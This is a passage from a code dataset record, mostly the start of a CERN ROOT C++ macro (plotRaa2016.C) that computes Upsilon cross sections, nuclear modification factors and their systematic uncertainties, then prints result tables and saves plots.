TFile(\"../dimuonTree_upsiMiniTree_AA2p76tev_WithIDCuts_RunHIN-15-001_trigBit1_allTriggers0.root\",\"recreate\");\n TTree *mySmallTree = myTree->CopyTree(\"\");\n mySmallTree->Write();\n mySmallTree->Print();\n f2->Close();\n}\n\n\n\n" }, { "alpha_fraction": 0.5540325045585632, "alphanum_fraction": 0.6219747066497803, "avg_line_length": 45.21463394165039, "blob_id": "44431c8f1edfa9f9da898113bcb99facbb327fd4", "content_id": "e05107b3ddd518d32a5c6e45d4f671261385671a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 150937, "license_type": "no_license", "max_line_length": 379, "num_lines": 3266, "path": "/plotting_paper/plotRaa2016.C", "repo_name": "nfilipov/HIN-15-001", "src_encoding": "UTF-8", "text": "// Root stuff\n#include \"TROOT.h\"\n#include \"TAxis.h\"\n#include \"TCanvas.h\"\n#include \"TDirectory.h\"\n#include \"TFile.h\"\n#include \"TLatex.h\"\n\n#include \"TMath.h\"\n#include \"TPaveLabel.h\"\n#include \"TPaveText.h\"\n#include \"TStyle.h\"\n#include \"TText.h\"\n#include \"TGraphErrors.h\"\n#include \"TGraphAsymmErrors.h\"\n#include \"TF1.h\"\n#include \"TLegend.h\"\n#include \"TFrame.h\"\n#include \"TH1F.h\"\n#include \"TArrow.h\"\n\n#include \"data_raa2015.h\"\n//#include \"systematics.C\"\n#include \"recomputeSyst.C\"\n#include \"CMS_lumi.C\"\n#include \"tdrstyle.C\"\n#include \"data_raaSyst.h\"\n#include \"RAA2016.h\"\n// miscellaneous \n#include <fstream>\n#include <iostream>\n\n//using namespace std;\n\n/// we will:\n// - print syst in tables including the global scale (although its redundant)\n// - print the CS and RAA uncertainties in tables in the format: stat +/- syst +/- global (instead of the syst total with the global part in parenthesis)\n// - plot the CS and RAA uncertainties with point-dependent systematics in boxes. The boxes are at the moment only drawn in RAA plots. Global uncertainties in Cross sections are only mentioned in the plot description. For RAA plots, The global scale is represented as a box at unity if the plotBox boolean is true, otherwise it's a text on the plot, saying \" global unc. = XX% \"\nconst bool plotBox =true;\nconst bool plotLin=true; // plot linear plots as well\n\nconst TString basedir1 = \"~/Desktop/figs\";\n//const TString basedir2 = \"/tmp\"; //\"~/Documents/PR/forTWiki/CSandRAA\"\nconst TString basedir2 = \"/tmp\";\nconst string outSyst = \"FinalSystFile.txt\";\nconst string outRes = \"FinalResultFile.txt\";\nconst string outplot = \"RAA2016.h\";\n// colors\nColor_t color1Spp = kCyan-3;\nColor_t color2Spp = kBlue+1;\nColor_t color3Spp = kBlue+4;\nColor_t color1Saa = kRed+1;\nColor_t color2Saa = kRed+4;\nColor_t color3Saa = kRed+3; // change the colour to GOLD when you observe it :D\nColor_t color1Sraa = kRed+1;\nColor_t color2Sraa = kRed+4;\nColor_t color3Sraa = kRed+3;\nColor_t ALICE = kGray+3;\nColor_t STAR = kGray;\nColor_t STARU = kBlue+1;\n\nint symbol1S = 21; // filled square\nint symbol1Sc = 25;// open square\nint symbol2S = 20; // filled circle\nint symbol2Sc = 24;// open circle\nint symbol3S = 22; // filled triangle\nint symbol3Sc = 26;// open triangle\n\nint filledCross = 34;\nint openCrosss = 28;\nint filledStar = 29;\nint openStar = 30;\n\nconst float gTextSize = 0.042;\nconst float markerSize = 1.4;\nconst float xfrac = 0.85;\n\nfloat computeRatio(float x, float y) ;\nfloat computeRatioError(float x, float y, float xerr, float yerr);\nvoid plotComparisons(bool exp, int plug);\n\nvoid plotRaa2016()\n{\n int plug=2;\n setTDRStyle();\n std::ofstream ofplot;\n std::ofstream ofRes;\n std::ofstream ofSyst;\n ofplot.open(outplot.c_str(), ios_base::out); //open the out stream for c-header formatted results\n ofRes.open(outRes.c_str(), ios_base::out); //open the out stream for full results.\n ofSyst.open(outSyst.c_str(), ios_base::out); //open the out stream for syst results.\n // global scale uncertainties: pp luminosity, minbias efficiency, nuclear overlap function. tracking is coded in the header.\n float syst_lumi=L_pp_e;\n float syst_nmb=N_MB_e;\n float syst_taa=T_AA_e;\n ///===============================\n /// pp cross sections vs Pt in fine bins (of course)\n ///===============================\n /// 1. Define variables\n /// 2. Define syst variables\n /// 3. Compute the syst\n /// 4. Compute the CS.\n /// 5. Print the outputs\n /// 6. Draw and save\n ///-------------------------------\n /// 1.a. Y(1S)\n float CS1S_pp_tnp_pt[nPtBins_2013] = {};\n float CS1S_pp_tnp_pte[nPtBins_2013] = {};\n float CS1S_pp_tnp_pts[nPtBins_2013] = {};\n /// 1.b. Y(2S)\n float CS2S_pp_tnp_pt[nPtBins_2013] = {};\n float CS2S_pp_tnp_pte[nPtBins_2013] = {};\n float CS2S_pp_tnp_pts[nPtBins_2013] = {};\n /// 1.c Y(3S)\n float CS3S_pp_tnp_pt[nPtBins_2013] = {};\n float CS3S_pp_tnp_pte[nPtBins_2013] = {};\n float CS3S_pp_tnp_pts[nPtBins_2013] = {};\n /// 2.a Y(1S)\n float stat1S_pp_pt[nPtBins_2013]={}; //stat. pp relative uncertainty (contributing to R_AA as a pt to pt syst. uncertainty!\n float syst1S_pptnp_pt[nPtBins_2013]={};// tnp uncertainty\n float syst1S_pp_pt[nPtBins_2013]={}; //fit syst. uncertainty.\n float syst1S_ppgs_pt[nPtBins_2013]={}; //gen shape\n float syst1S_ppsta_pt[nPtBins_2013]={}; ///sta uncertainty\n float syst1S_ppmuid_pt[nPtBins_2013]={};/// muid uncertainty\n float syst1S_cspp_pt[nPtBins_2013]={}; /// quadratic sum.\n /// 2.b Y(2S)\n float stat2S_pp_pt[nPtBins_2013]={}; //stat. pp relative uncertainty (contributing to R_AA as a pt to pt syst. uncertainty!\n float syst2S_pptnp_pt[nPtBins_2013]={};// tnp uncertainty\n float syst2S_pp_pt[nPtBins_2013]={}; //fit syst. uncertainty.\n float syst2S_ppgs_pt[nPtBins_2013]={}; //gen shape\n float syst2S_ppsta_pt[nPtBins_2013]={}; ///sta uncertainty\n float syst2S_ppmuid_pt[nPtBins_2013]={};/// muid uncertainty\n float syst2S_cspp_pt[nPtBins_2013]={}; /// quadratic sum.\n /// 2.c Y(3S)\n float stat3S_pp_pt[nPtBins_2013]={}; //stat. pp relative uncertainty (contributing to R_AA as a pt to pt syst. uncertainty!\n float syst3S_pptnp_pt[nPtBins_2013]={};// tnp uncertainty\n float syst3S_pp_pt[nPtBins_2013]={}; //fit syst. uncertainty.\n float syst3S_ppgs_pt[nPtBins_2013]={}; //gen shape\n float syst3S_ppsta_pt[nPtBins_2013]={}; ///sta uncertainty\n float syst3S_ppmuid_pt[nPtBins_2013]={};/// muid uncertainty\n float syst3S_cspp_pt[nPtBins_2013]={}; /// quadratic sum.\n /// 3.\n /// NOTE:\n /// The systXS_cspp, just as the systXS_csaa/raa, will NOT include the global scale uncertainties anymore (this makes them bigger for no reason). Then the global is computed once and simply multiplied to CSXS_pp/aa or RAA_XS in the printed tables (no more parentheses).\n float systXS_pp_glob = sqrt(pow(tracking_pp,2)+pow(syst_lumi,2));\n \n syst1S_pp_pt[0]=ppAlphaSyst(N1S_pp_pt3p5[0],N1S_pp_pt3p5s_2p5,N1B_pp_pt3p5s_2p5,N1S_pp_pt3p5[0],N1S_pp_pt3p5s_2p5[1]); \n syst1S_pp_pt[1]=ppAlphaSyst(N1S_pp_pt3p5[1],N1S_pp_pt3p5s_5,N1B_pp_pt3p5s_5,N1S_pp_pt3p5[1],N1S_pp_pt3p5s_5[1]);\t \n syst1S_pp_pt[2]=ppAlphaSyst(N1S_pp_pt3p5[2],N1S_pp_pt3p5s_8,N1B_pp_pt3p5s_8,N1S_pp_pt3p5[2],N1S_pp_pt3p5s_8[1]);\t \n syst1S_pp_pt[3]=ppAlphaSyst(N1S_pp_pt3p5[3],N1S_pp_pt3p5s_12,N1B_pp_pt3p5s_12,N1S_pp_pt3p5[3],N1S_pp_pt3p5s_12[1]); \n syst1S_pp_pt[4]=ppAlphaSyst(N1S_pp_pt3p5[4],N1S_pp_pt3p5s_20,N1B_pp_pt3p5s_20,N1S_pp_pt3p5[4],N1S_pp_pt3p5s_20[1]);\n ///\n syst2S_pp_pt[0]=ppAlphaSyst(N2S_pp_pt4_2013[0],N2S_pp_pt4s_2p5,N2B_pp_pt4s_2p5,N2S_pp_pt4_2013[0],N2S_pp_pt4s_2p5[1]);\n syst2S_pp_pt[1]=ppAlphaSyst(N2S_pp_pt4_2013[1],N2S_pp_pt4s_5,N2B_pp_pt4s_5,N2S_pp_pt4_2013[1],N2S_pp_pt4s_5[1]);\n syst2S_pp_pt[2]=ppAlphaSyst(N2S_pp_pt4_2013[2],N2S_pp_pt4s_8,N2B_pp_pt4s_8,N2S_pp_pt4_2013[2],N2S_pp_pt4s_8[1]);\n syst2S_pp_pt[3]=ppAlphaSyst(N2S_pp_pt4_2013[3],N2S_pp_pt4s_12,N2B_pp_pt4s_12,N2S_pp_pt4_2013[3],N2S_pp_pt4s_12[1]); \t \n syst2S_pp_pt[4]=ppAlphaSyst(N2S_pp_pt4_2013[4],N2S_pp_pt4s_20,N2B_pp_pt4s_20,N2S_pp_pt4_2013[4],N2S_pp_pt4s_20[1]); \n ///\n syst3S_pp_pt[0]=ppAlphaSyst(N3S_pp_pt4_2013[0],N3S_pp_pt4s_2p5,N3B_pp_pt4s_2p5,N3S_pp_pt4_2013[0],N3S_pp_pt4s_2p5[1]); \n syst3S_pp_pt[1]=ppAlphaSyst(N3S_pp_pt4_2013[1],N3S_pp_pt4s_5,N3B_pp_pt4s_5,N3S_pp_pt4_2013[1],N3S_pp_pt4s_5[1]);\n syst3S_pp_pt[2]=ppAlphaSyst(N3S_pp_pt4_2013[2],N3S_pp_pt4s_8,N3B_pp_pt4s_8,N3S_pp_pt4_2013[2],N3S_pp_pt4s_8[1]); \n syst3S_pp_pt[3]=ppAlphaSyst(N3S_pp_pt4_2013[3],N3S_pp_pt4s_12,N3B_pp_pt4s_12,N3S_pp_pt4_2013[3],N3S_pp_pt4s_12[1]); \n syst3S_pp_pt[4]=ppAlphaSyst(N3S_pp_pt4_2013[4],N3S_pp_pt4s_20,N3B_pp_pt4s_20,N3S_pp_pt4_2013[4],N3S_pp_pt4s_20[1]); \n \n for(int i = 0 ; i<nPtBins_2013 ; i++)\n {\n stat1S_pp_pt[i]=N1S_pp_pt3p5e[i]/N1S_pp_pt3p5[i];\n syst1S_pptnp_pt[i]=Aet_1S_pythia_pt_fulls[i]/Aet_1S_pythia_pt_STA[i]; //fulls is the full tnp syst (muidtrg+sta added in quadrature)\n syst1S_ppgs_pt[i]=Aet_1S_pythia_pt_STAe[i]/Aet_1S_pythia_pt_STA[i]; // doesnt matter if we use STA or MuID\n syst1S_ppsta_pt[i]=Aet_1S_pythia_pt_STAs[i]/Aet_1S_pythia_pt_STA[i];\n syst1S_ppmuid_pt[i]=Aet_1S_pythia_pt_muIDTrigs[i]/Aet_1S_pythia_pt_muIDTrig[i];\n syst1S_cspp_pt[i]=sqrt(syst1S_pptnp_pt[i]*syst1S_pptnp_pt[i]+syst1S_pp_pt[i]*syst1S_pp_pt[i]+pow(syst1S_ppgs_pt[i],2));\n //2S\n stat2S_pp_pt[i]=N2S_pp_pt4_2013e[i]/N2S_pp_pt4_2013[i];\n syst2S_pptnp_pt[i]=Aet_2S_pythia_pt2013s[i]/Aet_2S_pythia_pt2013[i];\n syst2S_ppgs_pt[i]=Aet_2S_pythia_pt2013e[i]/Aet_2S_pythia_pt2013[i]; // doesnt matter if we use STA or MuID\n syst2S_ppsta_pt[i]=Aet_2S_pythia_pt2013_STAe[i]/Aet_2S_pythia_pt2013[i];\n syst2S_ppmuid_pt[i]=Aet_2S_pythia_pt2013_muIDTrige[i]/Aet_2S_pythia_pt2013[i];\n syst2S_cspp_pt[i]=sqrt(syst2S_pptnp_pt[i]*syst2S_pptnp_pt[i]+syst2S_pp_pt[i]*syst2S_pp_pt[i]+pow(syst2S_ppgs_pt[i],2));\n //3S\n stat3S_pp_pt[i]=N3S_pp_pt4_2013e[i]/N3S_pp_pt4_2013[i];\n syst3S_pptnp_pt[i]=Aet_3S_pythia_pt2013s[i]/Aet_3S_pythia_pt2013[i];\n syst3S_ppgs_pt[i]=Aet_3S_pythia_pt2013e[i]/Aet_3S_pythia_pt2013[i]; // doesnt matter if we use STA or MuID\n syst3S_ppsta_pt[i]=Aet_3S_pythia_pt2013_STAe[i]/Aet_3S_pythia_pt2013[i];\n syst3S_ppmuid_pt[i]=Aet_3S_pythia_pt2013_muIDTrige[i]/Aet_3S_pythia_pt2013[i];\n syst3S_cspp_pt[i]=sqrt(syst3S_pptnp_pt[i]*syst3S_pptnp_pt[i]+syst3S_pp_pt[i]*syst3S_pp_pt[i]+pow(syst3S_ppgs_pt[i],2));\n\n }\n /// 4.\n for(int i = 0 ; i<nPtBins_2013 ; i++)\n {\n CS1S_pp_tnp_pt[i]= computeRatio( N1S_pp_pt3p5[i] , Aet_1S_pythia_pt_STA[i] )/(L_pp_invNb*RapBinWidth*deltaPt[i]); \n CS1S_pp_tnp_pte[i] = computeRatioError( N1S_pp_pt3p5[i] , Aet_1S_pythia_pt_STA[i], N1S_pp_pt3p5e[i] ,0)/(L_pp_invNb*RapBinWidth*deltaPt[i]) ; \n CS1S_pp_tnp_pts[i] = CS1S_pp_tnp_pt[i]*syst1S_cspp_pt[i];\n //2S\n CS2S_pp_tnp_pt[i]= computeRatio( N2S_pp_pt4_2013[i] , Aet_2S_pythia_pt2013[i] )/(L_pp_invNb*RapBinWidth*deltaPt[i]); \n CS2S_pp_tnp_pte[i] = computeRatioError( N2S_pp_pt4_2013[i] , Aet_2S_pythia_pt2013[i], N2S_pp_pt4_2013e[i] ,0)/(L_pp_invNb*RapBinWidth*deltaPt[i]) ; \n CS2S_pp_tnp_pts[i] = CS2S_pp_tnp_pt[i]*syst2S_cspp_pt[i];\n //3S\n CS3S_pp_tnp_pt[i]= computeRatio( N3S_pp_pt4_2013[i] , Aet_3S_pythia_pt2013[i] )/(L_pp_invNb*RapBinWidth*deltaPt[i]); \n CS3S_pp_tnp_pte[i] = computeRatioError( N3S_pp_pt4_2013[i] , Aet_3S_pythia_pt2013[i], N3S_pp_pt4_2013e[i] ,0)/(L_pp_invNb*RapBinWidth*deltaPt[i]) ; \n CS3S_pp_tnp_pts[i] = CS3S_pp_tnp_pt[i]*syst3S_cspp_pt[i];\n }\n ///5.a. Y(1S)\n ofSyst <<\"1S pp Pt Bins | stat err. | syst err. = +/- syst.fit +/- syst.gs +/- syst.muid +/- syst.sta +/- syst.lumi +/- syst.trk\"<<endl;\n for(int j =0 ; j<nPtBins_2013 ; j++)\n {\n ofSyst << (binsPt[j]).c_str() << \" & \" << setprecision(3) << \n stat1S_pp_pt[j] << \" & \" <<\n syst1S_cspp_pt[j] << \" & \" <<\n syst1S_pp_pt[j] << \" & \" <<\n syst1S_ppgs_pt[j] << \" & \" <<\n syst1S_ppmuid_pt[j] << \" & \" <<\n syst1S_ppsta_pt[j] << \" & \" <<\n syst_lumi << \" & \" <<\n tracking_pp <<\" \\\\\\\\ \" << endl;\n }\n ofRes<<\"1S pp Pt Bins | Cross section +/- stat err. +/- syst err. +/- global unc. \"<<endl;\n for(int j =0 ; j<nPtBins_2013 ; j++)\n {\n ofRes << (binsPt[j]).c_str() << \" & \" << setprecision(3) << \n CS1S_pp_tnp_pt[j] << \" \\\\pm \"<<\n CS1S_pp_tnp_pte[j]<<\" \\\\pm \"<<\n CS1S_pp_tnp_pts[j]<<\" \\\\pm \"<<\n CS1S_pp_tnp_pt[j]*systXS_pp_glob << \" \\\\\\\\\"\n\t << endl;\n }\n ///5.b. Y(2S)\n ofSyst <<\"2S pp Pt Bins | stat err. | syst err. = +/- syst.fit +/- syst.gs +/- syst.muid +/- syst.sta +/- syst.lumi +/- syst.trk\"<<endl;\n for(int j =0 ; j<nPtBins_2013 ; j++)\n {\n ofSyst << (binsPt[j]).c_str() << \" & \" << setprecision(3) << \n\tstat2S_pp_pt[j] << \" & \" <<\n\tsyst2S_cspp_pt[j] << \" & \" <<\n\tsyst2S_pp_pt[j] << \" & \" <<\n\tsyst2S_ppgs_pt[j] << \" & \" <<\n\tsyst2S_ppmuid_pt[j] << \" & \" <<\n\tsyst2S_ppsta_pt[j] << \" & \" <<\n\tsyst_lumi << \" & \" <<\n\ttracking_pp <<\" \\\\\\\\ \" << endl;\n }\n ofRes<<\"2S pp Pt Bins | Cross section +/- stat err. +/- syst err. +/- global unc. \"<<endl;\n for(int j =0 ; j<nPtBins_2013 ; j++)\n {\n ofRes << (binsPt[j]).c_str() << \" & \" << setprecision(3) << \n\tCS2S_pp_tnp_pt[j] << \" \\\\pm \"<<\n\tCS2S_pp_tnp_pte[j]<<\" \\\\pm \"<<\n\tCS2S_pp_tnp_pts[j]<<\" \\\\pm \"<<\n\tCS2S_pp_tnp_pt[j]*systXS_pp_glob << \" \\\\\\\\\"\n\t << endl;\n }\n ///5.c. Y(3S)\n ofSyst <<\"3S pp Pt Bins | stat err. | syst err. = +/- syst.fit +/- syst.gs +/- syst.muid +/- syst.sta +/- syst.lumi +/- syst.trk\"<<endl;\n for(int j =0 ; j<nPtBins_2013 ; j++)\n {\n ofSyst << (binsPt[j]).c_str() << \" & \" << setprecision(3) << \n\tstat3S_pp_pt[j] << \" & \" <<\n\tsyst3S_cspp_pt[j] << \" & \" <<\n\tsyst3S_pp_pt[j] << \" & \" <<\n\tsyst3S_ppgs_pt[j] << \" & \" <<\n\tsyst3S_ppmuid_pt[j] << \" & \" <<\n\tsyst3S_ppsta_pt[j] << \" & \" <<\n\tsyst_lumi << \" & \" <<\n\ttracking_pp <<\" \\\\\\\\ \" << endl;\n }\n ofRes<<\"3S pp Pt Bins | Cross section +/- stat err. +/- syst err. +/- global unc. \"<<endl;\n for(int j =0 ; j<nPtBins_2013 ; j++)\n {\n ofRes << (binsPt[j]).c_str() << \" & \" << setprecision(3) << \n\tCS3S_pp_tnp_pt[j] << \" \\\\pm \"<<\n\tCS3S_pp_tnp_pte[j]<<\" \\\\pm \"<<\n\tCS3S_pp_tnp_pts[j]<<\" \\\\pm \"<<\n\tCS3S_pp_tnp_pt[j]*systXS_pp_glob << \" \\\\\\\\\"\n\t << endl;\n }\n /// 6.\n TCanvas *cptpp = new TCanvas(\"cptpp\",\"cptpp\");\n gStyle->SetPadRightMargin(0.025); //overriding style for the pt-binned plots only, but will have to change again later...\n cptpp->SetLogy();\n cptpp->cd();\n TF1 *f4Pt = new TF1(\"f4Pt\",\"10\",0,20);\n f4Pt->SetLineWidth(0);\n f4Pt->GetXaxis()->SetTitle(\"p_{T}^{#varUpsilon} (GeV/c)\");\t\t\n f4Pt->GetYaxis()->SetTitle(\"#frac{d^{2}#sigma}{dy dp_{T}} (nb/ GeV/c)\");\n \n f4Pt->GetXaxis()->SetTitleSize(gTextSize+0.01);\n f4Pt->GetXaxis()->SetTitleOffset(f4Pt->GetXaxis()->GetTitleOffset()*1.1);\n f4Pt->GetYaxis()->SetTitleSize(gTextSize);\n f4Pt->GetYaxis()->SetLabelSize(0.8*f4Pt->GetYaxis()->GetLabelSize()); // Y axis title is fat\n f4Pt->GetYaxis()->SetTitleOffset(1.65);\n // f4Pt->GetYaxis()->SetRangeUser(0.0005,0.2);\n f4Pt->GetYaxis()->SetRangeUser(0.0001,0.2);\n //f4Pt->GetYaxis()->SetRangeUser(0.01,.09);\n f4Pt->GetXaxis()->CenterTitle(kTRUE);\n\n \n f4Pt->Draw();\n TGraphErrors *gpt1TNPpp = new TGraphErrors(nPtBins_2013,pt,CS1S_pp_tnp_pt,0,CS1S_pp_tnp_pte);\n gpt1TNPpp->SetMarkerColor(color1Spp);\n gpt1TNPpp->SetMarkerStyle(symbol1S);\n gpt1TNPpp->SetMarkerSize(markerSize);\n TGraphErrors *gpt1circlepp = new TGraphErrors(nPtBins_2013,pt,CS1S_pp_tnp_pt,0,CS1S_pp_tnp_pte);\n gpt1circlepp->SetMarkerStyle(symbol1Sc);\n gpt1circlepp->SetMarkerSize(markerSize);\n gpt1circlepp->SetLineColor(kBlack);\n gpt1circlepp->SetLineWidth(2);\n TGraphErrors *gPt1ppsyst = new TGraphErrors(nPtBins_2013,pt,CS1S_pp_tnp_pt,pte,CS1S_pp_tnp_pts);\n gPt1ppsyst->SetLineColor(color1Spp);\n gPt1ppsyst->SetFillStyle(0);\n gPt1ppsyst->SetLineWidth(2);\n gPt1ppsyst->SetMarkerSize(0);\n gPt1ppsyst->Draw(\"2\");\n gpt1TNPpp->Draw(\"pe\");\n gpt1circlepp->Draw(\"p\");\n //2S\n TGraphErrors *gpt2TNPpp = new TGraphErrors(nPtBins_2013,pt,CS2S_pp_tnp_pt,0,CS2S_pp_tnp_pte);\n gpt2TNPpp->SetMarkerColor(color2Spp);\n gpt2TNPpp->SetMarkerStyle(symbol2S);\n gpt2TNPpp->SetMarkerSize(markerSize);\n TGraphErrors *gpt2circlepp = new TGraphErrors(nPtBins_2013,pt,CS2S_pp_tnp_pt,0,CS2S_pp_tnp_pte);\n gpt2circlepp->SetMarkerStyle(symbol2Sc);\n gpt2circlepp->SetMarkerSize(markerSize);\n gpt2circlepp->SetLineColor(kBlack);\n gpt2circlepp->SetLineWidth(2);\n TGraphErrors *gPt2ppsyst = new TGraphErrors(nPtBins_2013,pt,CS2S_pp_tnp_pt,pte,CS2S_pp_tnp_pts);\n gPt2ppsyst->SetLineColor(color2Spp);\n gPt2ppsyst->SetFillStyle(0);\n gPt2ppsyst->SetLineWidth(2);\n gPt2ppsyst->SetMarkerSize(0);\n gPt2ppsyst->Draw(\"2\");\n gpt2TNPpp->Draw(\"pe\");\n gpt2circlepp->Draw(\"p\");\n //3S\n TGraphErrors *gpt3TNPpp = new TGraphErrors(nPtBins_2013,pt,CS3S_pp_tnp_pt,0,CS3S_pp_tnp_pte);\n gpt3TNPpp->SetMarkerColor(color3Spp);\n gpt3TNPpp->SetMarkerStyle(symbol3S);\n gpt3TNPpp->SetMarkerSize(markerSize);\n TGraphErrors *gpt3circlepp = new TGraphErrors(nPtBins_2013,pt,CS3S_pp_tnp_pt,0,CS3S_pp_tnp_pte);\n gpt3circlepp->SetMarkerStyle(symbol3Sc);\n gpt3circlepp->SetMarkerSize(markerSize);\n gpt3circlepp->SetLineColor(kBlack);\n gpt3circlepp->SetLineWidth(2);\n TGraphErrors *gPt3ppsyst = new TGraphErrors(nPtBins_2013,pt,CS3S_pp_tnp_pt,pte,CS3S_pp_tnp_pts);\n gPt3ppsyst->SetLineColor(color3Spp);\n gPt3ppsyst->SetFillStyle(0);\n gPt3ppsyst->SetLineWidth(2);\n gPt3ppsyst->SetMarkerSize(0);\n gPt3ppsyst->Draw(\"2\");\n gpt3TNPpp->Draw(\"pe\");\n gpt3circlepp->Draw(\"p\");\n gPad->RedrawAxis();\n TLegend *legend_cspppt = new TLegend(0.22,0.22,0.39,0.40);\n legend_cspppt->SetTextSize(gTextSize);\n legend_cspppt->SetFillStyle(0);\n legend_cspppt->SetFillColor(0);\n legend_cspppt->SetBorderSize(0);\n legend_cspppt->SetTextFont(42);\n legend_cspppt->AddEntry(gpt1TNPpp,\"#varUpsilon(1S) \",\"pe\"); \n legend_cspppt->AddEntry(gpt2TNPpp,\"#varUpsilon(2S) \",\"pe\");\n legend_cspppt->AddEntry(gpt3TNPpp,\"#varUpsilon(3S) \",\"pe\");\n legend_cspppt->Draw();\n \n // |y| < 2.4\n if (!plotBox && !plotLin){\n TLatex latexpt;\n latexpt.SetTextSize(gTextSize);\n latexpt.SetTextFont(42);\n TLatex *latexpttxt = latexpt.DrawLatex(15.7,0.025,\"|y| < 2.4\");\n latexpt.DrawLatex(1.2,0.0008,Form(\"Global uncertainty: %.1f\",100*systXS_pp_glob));\n latexpt.DrawLatex(10.2,0.0008,\"%\"); ///\n }\n \n CMS_lumi(cptpp,102,33);\n cptpp->Update();\n cptpp->RedrawAxis();\n cptpp->GetFrame()->Draw();\n cptpp->SaveAs(basedir2 + TString(\"/CS_pp_Pt.pdf\"));\n cptpp->SaveAs(basedir2 + TString(\"/CS_pp_Pt.png\"));\n cptpp->SaveAs(basedir1 + TString(\"/pdf/Xsection_ppNS_Pt.pdf\"));\n cptpp->SaveAs(basedir1 + TString(\"/png/Xsection_ppNS_Pt.png\"));\n\n if (plotLin)\n {\n cptpp->SetLogy(0);\n legend_cspppt->SetX1NDC(0.77); legend_cspppt->SetX2NDC(1.); legend_cspppt->SetY1NDC(0.40); legend_cspppt->SetY2NDC(0.61); legend_cspppt->Draw();\n TLatex latexpt;\n latexpt.SetTextSize(gTextSize);\n latexpt.SetTextFont(42);\n TLatex *latexpttxt = latexpt.DrawLatex(15.7,0.025,\"|y| < 2.4\");\n if (!plotBox){\n\t latexpt.DrawLatex(1.2,0.0008,Form(\"Global uncertainty: %.1f\",100*systXS_pp_glob));\n\t latexpt.DrawLatex(10.2,0.0008,\"%\"); ///\n }\n cptpp->cd();\n gPad->Update();\n f4Pt->GetYaxis()->SetRangeUser(0.,0.12);\n f4Pt->GetYaxis()->SetTitleOffset(1.65);\n f4Pt->GetYaxis()->SetTitleSize(gTextSize);\n latexpttxt->SetY(0.085);\n latexpttxt->Draw();\n gPad->Update();\n gPad->RedrawAxis();\n gPad->GetFrame()->Draw();\n cptpp->SaveAs(basedir2 + TString(\"/CSNS_ppPt_lin.pdf\"));\n cptpp->SaveAs(basedir2 + TString(\"/CSNS_ppPt_lin.png\"));\n cptpp->SaveAs(basedir1 + TString(\"/pdf/Xsection_ppNS_Pt_lin.pdf\"));\n cptpp->SaveAs(basedir1 + TString(\"/png/Xsection_ppNS_Pt_lin.png\"));\n }\n\n cptpp->Close();\n\n ///===============================\n /// pp cross sections vs Rap in fine bins (of course)\n ///===============================\n /// 1. Define variables\n /// 2. Define syst variables\n /// 3. Compute the syst\n /// 4. Compute the CS.\n /// 5. Print the outputs\n /// 6. Draw and save\n ///-------------------------------\n /// 1.a. Y(1S)\n float CS1S_pp_tnp_rap[nRapBins_2014] = {};\n float CS1S_pp_tnp_rape[nRapBins_2014] = {};\n float CS1S_pp_tnp_raps[nRapBins_2014] = {};\n /// 1.b. Y(2S)\n float CS2S_pp_tnp_rap[nRapBins_2014] = {};\n float CS2S_pp_tnp_rape[nRapBins_2014] = {};\n float CS2S_pp_tnp_raps[nRapBins_2014] = {};\n /// 1.c Y(3S)\n float CS3S_pp_tnp_rap[nRapBins_2014] = {};\n float CS3S_pp_tnp_rape[nRapBins_2014] = {};\n float CS3S_pp_tnp_raps[nRapBins_2014] = {};\n /// 2.a Y(1S)\n float stat1S_pp_rap[nRapBins_2014]={}; //stat. pp relative uncertainty (contributing to R_AA as a rap to rap syst. uncertainty!\n float syst1S_pptnp_rap[nRapBins_2014]={};// tnp uncertainty\n float syst1S_pp_rap[nRapBins_2014]={}; //fit syst. uncertainty.\n float syst1S_ppgs_rap[nRapBins_2014]={}; //gen shape\n float syst1S_ppsta_rap[nRapBins_2014]={}; ///sta uncertainty\n float syst1S_ppmuid_rap[nRapBins_2014]={};/// muid uncertainty\n float syst1S_cspp_rap[nRapBins_2014]={}; /// quadratic sum.\n /// 2.b Y(2S)\n float stat2S_pp_rap[nRapBins_2014]={}; //stat. pp relative uncertainty (contributing to R_AA as a Rap to Rap syst. uncertainty!\n float syst2S_pptnp_rap[nRapBins_2014]={};// tnp uncertainty\n float syst2S_pp_rap[nRapBins_2014]={}; //fit syst. uncertainty.\n float syst2S_ppgs_rap[nRapBins_2014]={}; //gen shape\n float syst2S_ppsta_rap[nRapBins_2014]={}; ///sta uncertainty\n float syst2S_ppmuid_rap[nRapBins_2014]={};/// muid uncertainty\n float syst2S_cspp_rap[nRapBins_2014]={}; /// quadratic sum.\n /// 2.c Y(3S)\n float stat3S_pp_rap[nRapBins_2014]={}; //stat. pp relative uncertainty (contributing to R_AA as a Rap to Rap syst. uncertainty!\n float syst3S_pptnp_rap[nRapBins_2014]={};// tnp uncertainty\n float syst3S_pp_rap[nRapBins_2014]={}; //fit syst. uncertainty.\n float syst3S_ppgs_rap[nRapBins_2014]={}; //gen shape\n float syst3S_ppsta_rap[nRapBins_2014]={}; ///sta uncertainty\n float syst3S_ppmuid_rap[nRapBins_2014]={};/// muid uncertainty\n float syst3S_cspp_rap[nRapBins_2014]={}; /// quadratic sum.\n /// 3.\n syst1S_pp_rap[0]=ppAlphaSyst(N1S_pp_rap3p5_2014[0],N1S_pp_rap3p5s_0p4,N1B_pp_rap3p5s_0p4,N1S_pp_rap3p5_2014[0],N1S_pp_rap3p5s_0p4[1]);\n syst1S_pp_rap[1]=ppAlphaSyst(N1S_pp_rap3p5_2014[1],N1S_pp_rap3p5s_0p8,N1B_pp_rap3p5s_0p8,N1S_pp_rap3p5_2014[1],N1S_pp_rap3p5s_0p8[1]);\n syst1S_pp_rap[2]=ppAlphaSyst(N1S_pp_rap3p5_2014[2],N1S_pp_rap3p5s_1p2,N1B_pp_rap3p5s_1p2,N1S_pp_rap3p5_2014[2],N1S_pp_rap3p5s_1p2[1]);\n syst1S_pp_rap[3]=ppAlphaSyst(N1S_pp_rap3p5_2014[3],N1S_pp_rap3p5s_1p6,N1B_pp_rap3p5s_1p6,N1S_pp_rap3p5_2014[3],N1S_pp_rap3p5s_1p6[1]);\n syst1S_pp_rap[4]=ppAlphaSyst(N1S_pp_rap3p5_2014[4],N1S_pp_rap3p5s_2p0,N1B_pp_rap3p5s_2p0,N1S_pp_rap3p5_2014[4],N1S_pp_rap3p5s_2p0[1]);\n syst1S_pp_rap[5]=ppAlphaSyst(N1S_pp_rap3p5_2014[5],N1S_pp_rap3p5s_2p4,N1B_pp_rap3p5s_2p4,N1S_pp_rap3p5_2014[5],N1S_pp_rap3p5s_2p4[1]);\n ///\n syst2S_pp_rap[0]= 